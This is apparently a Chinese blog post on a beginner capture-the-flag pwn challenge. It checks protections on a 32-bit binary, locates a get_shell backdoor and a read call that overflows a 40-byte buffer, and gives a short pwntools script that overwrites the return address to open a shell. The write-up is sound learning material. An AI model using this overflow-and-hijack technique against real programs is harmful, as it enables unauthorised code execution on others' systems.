从零解一道 ret2text 栈溢出入门实践

从零解一道 ret2text 栈溢出入门实践

零、我对pwn的粗略理解

从内存入手,利用危险函数制造溢出,用覆盖地址的方式来利用原程序调用一些额外的函数(改变原程序的目的),实现劫持
更一般地说,Pwn 是找到漏洞,让程序执行本不该执行的路径。

一、题目信息

file扫描,发现是32位

用 pwntools 检查保护

$ python3 -c "from pwn import *; print(ELF('./challenge', checksec=False).checksec())"

保护机制:

保护 状态 含义
Stack No canary found 能溢出
NX NX enabled 不能注 shellcode
PIE No PIE (0x8048000) 地址固定
RELRO Partial RELRO 暂不涉及

无 canary,无 PIE,有后门函数-->ret2text 题

二、找后门

$ nm ./challenge | grep -E " [Tt] "
080491c6 T get_shell      ← TIP
080491df T vulnerable
08049241 T main
$ objdump -d -M intel ./challenge | sed -n '/<get_shell>:/,/^$/p'

发现其直接调用system("/bin/sh")
正常情况下永远不使用,可"用于"劫持控制流

三、找漏洞点

反汇编漏洞函数:

$ objdump -d -M intel ./challenge | sed -n '/<vulnerable>:/,/^$/p'

从输出中发现:

8049209:  push 0x40              ← 第三个参数:最多读 0x40 = 64 字节
804920b:  lea  eax,[ebp-0x28]    ← 第二个参数:buf 的起始地址
804920e:  push eax
804920f:  push 0x0               ← 第一个参数:fd = 0(stdin)
8049211:  call read@plt

read 要读 0x40 = 64 字节,但 buf 只有 0x28 = 40 字节
显然,写入长度大于缓冲区容量

四、栈布局与偏移计算

由lea eax,[ebp-0x28] 可知, buf 的起始地址是 ebp - 0x28,0x28转化为十进制40
因为是32位程序,所以还要算上save ebp占的4字节
总计44字节

五、编写 exp

from pwn import *

elf = ELF('./challenge', checksec=False)
io = process('./challenge')
# io = remote(host, port)      # 打远程时换成这个

payload  = b'A' * 44                        # 填满 buf + saved ebp
payload += p32(elf.symbols['get_shell'])    # 覆盖返回地址

io.recvuntil(b'please input your name:')
io.sendline(payload)
io.interactive()
语句 作用
b'A' * 44 用 A 填满 buf(40) 和 saved ebp(4)
p32(addr) 把 32 位地址打包成 4 字节小端序数据
io.sendline() 发送 payload,触发溢出
io.interactive() 接管 shell,可以敲命令

运行时,函数执行到 ret,会从栈顶弹出我们写入的地址,跳转到 get_shell,进而执行 system("/bin/sh")

六、总结

拿到一道 Pwn 题,先固定跑这四条命令:

file ./challenge
python3 -c "from pwn import *; print(ELF('./challenge', checksec=False).checksec())"
nm ./challenge | grep -E " [Tt] "
objdump -d -M intel ./challenge | sed -n '/<vulnerable>:/,/^$/p'

分别解决:
32 位or 64 位
保护类型
有无现成的后门函数
缓冲区大小及可写入的大小

posted @ 2026-11-04 08:29  Kal‘tsit  阅读(3)  评论(0)    收藏  举报